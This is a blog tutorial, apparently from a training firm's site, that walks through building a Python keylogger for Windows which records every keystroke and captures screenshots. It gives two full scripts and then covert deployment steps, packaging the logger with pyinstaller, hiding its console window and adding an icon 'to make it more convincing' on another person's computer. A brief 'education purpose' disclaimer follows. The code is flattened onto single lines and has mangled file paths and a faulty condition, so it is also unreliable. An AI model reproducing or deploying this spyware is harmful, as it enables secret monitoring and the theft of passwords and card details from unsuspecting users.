Hi guys, Today we will learn about how to create basic keylogger with capture screenshot using Python Programming.
What is Keylogger?
Keylogger is a simple software program or hardware device that is used to monitor or record our real time activity of a computer including every keystroke made by a computer user without any notice of the computer user. The keystrokes will be stored in a log file and saved in a hidden location and send to the person who managed to infect your PC. Keylogger are designed to steal sensitive information such as username and password, credit card details, or your privet conversation.
Requirement to create a Keylogger with screenshot using Python
- Python must be installed on the system
- pyHook and pythoncom: pyHook library allows us to hook the keyboard and mouse.
- win32gui: Is a window module
- time: Import time
- datetime: For date and time
- os : Using for operation system operation
- sys: Using for system function
- autopy: Using for screenshot capture
Setup our Environment
- Create a directory ‘log’ in your hard drive where you want to store your log file.
- After that create a ‘log’ directory we will also create a output.txt file where all keystrokes will be save.
For Example: I did create a directory in c: drive, whose name is log. After that i did create a output.txt file in ‘log’ directory where all keystrokes will be store.
After that download and install pyhook repository file from the link below. Download:Download pyhook Here
if you want to more about pyhook functionality. Please click below link. Source:pyhook Documentation
After that download and install win32api file from the link below. Source win32api:Download win32api
After that download autopy python package for screenshot. Source win32api:Download autopy
Now we have download all module for keylogger. In next step, we will do code for keylogger.
Step For Coding
- Import all module
- After that setting up the path for the log file, where these keystrokes will be store.
- After that define the OnKeyboardEvent function.
import win32api import win32console import win32gui import pythoncom,pyHook import sys import autopy def OnKeyboardEvent(event): if event.Ascii==5: sys.exit() if event.Ascii !=0 or 8: f=open('c:logoutput1.txt','r+') buffer=f.read() f.close() f=open('c:logoutput1.txt','w') #the code below for a captur screenshot bitmap = autopy.bitmap.capture_screen() bitmap.save('C:logKeylog.png') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() #the code below define the hook manager hm=pyHook.HookManager() #The code below listen to all keystrokes hm.KeyDown=OnKeyboardEvent #Hook the Keyboard hm.HookKeyboard() #For start new session pythoncom.PumpMessages()
Save as “Anyname.py” and run. The above keylogger code save all keystrokes your keyboard and take screenshot. But problem is that the above code only take the last screenshot capture and save. If you want to take all screenshot capture then run the below code.
import os import win32api import win32console import win32gui import pythoncom,pyHook import sys import autopy import time import datetime def OnKeyboardEvent(event): if event.Ascii==5: sys.exit() if event.Ascii !=0 or 8: f=open('c:logoutput1.txt','r+') buffer=f.read() f.close() f=open('c:logoutput1.txt','w') keylogs=chr(event.Ascii) if event.Ascii==13: keylogs='/n' buffer+=keylogs f.write(buffer) f.close() date_time = time.time() img = autopy.bitmap.capture_screen() SAVE_PATH = "c:log" LOGFILE_NAME = "%s.png" % date_time LOGFILE_PATH = os.path.join(SAVE_PATH,LOGFILE_NAME) img.save(LOGFILE_PATH) hm=pyHook.HookManager() hm.KeyDown=OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
Save Anyname.py and run.
Now the Deploy
Well, we have done all work for key-logger. But problem is that our client computer might not have all these modules and python installed, so we are going to use pyinstaller to convert it to an exe file so we can easily run it on their computer.
Now, We will be download pyinstaller using pip. Open your command prompt and type:
c:UsersAdministrator>cd and hit enter c:>cd Python27 and hit enter c:Python27>cd Scripts and hit enter c:Python27Scripts>pip install pyinstaller and hit enter
After installation pyinstaller, Go to your program’s directory and run:
pyinstaller keylogger.py –onefile –noconsole –ico=anyimage.ico keylogger.py
- –onefile -> to make it just a single executable
- –noconsole -> to prevent a console window from popping up
- –ico -> .ico image to make it more convincing
The above program is only for education purpose. Please do not illegal activity.
Thank You for reading this article.I hope you enjoyed it. If any query please comment. And also like my FB page given below link and share it.
Kryptora Digital Security Provided Python Training and Ethical Hacking Training
- Best Python Training in Noida
- Best Python Training in Delhi
- Best Python Training in Meerut
- Best Python Training in India
- Best Ethical Hacking Training in Noida
- Best Ethical Hacking Training in Delhi
- Best Ethical Hacking Training in Meerut
- Best Ethical Hacking Training in India
Source: Python Secret
Like and Share